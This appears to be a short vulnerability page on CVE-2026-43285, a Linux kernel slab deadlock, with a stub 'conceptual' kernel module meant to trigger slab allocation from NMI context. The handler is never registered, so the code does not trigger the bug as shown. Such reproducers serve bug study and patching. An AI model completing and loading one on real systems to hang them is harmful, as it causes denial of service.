CVE-2026-43285: Linux内核slab死锁漏洞

/* * Conceptual Proof of Concept for CVE-2026-43285 * Triggering slab allocation in NMI context to reproduce the lockdep warning. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/perf_event.h> #include <linux/nmi.h> // Dummy NMI handler to simulate the condition static void trigger_nmi_alloc(struct perf_event *event, struct perf_sample_data *data, struct pt_regs *regs) { // This allocation may eventually call get_from_any_partial() // which accesses current->mems_allowed_seq unsafely in NMI context. void *ptr = kmalloc(1024, GFP_ATOMIC); if (ptr) { kfree(ptr); } } static int __init poc_init_module(void) { printk(KERN_INFO "Loading PoC for CVE-2026-43285\n"); // In a real scenario, setup a perf event to call trigger_nmi_alloc frequently return 0; } static void __exit poc_cleanup_module(void) { printk(KERN_INFO "Unloading PoC for CVE-2026-43285\n"); } module_init(poc_init_module); module_exit(poc_cleanup_module); MODULE_LICENSE("GPL");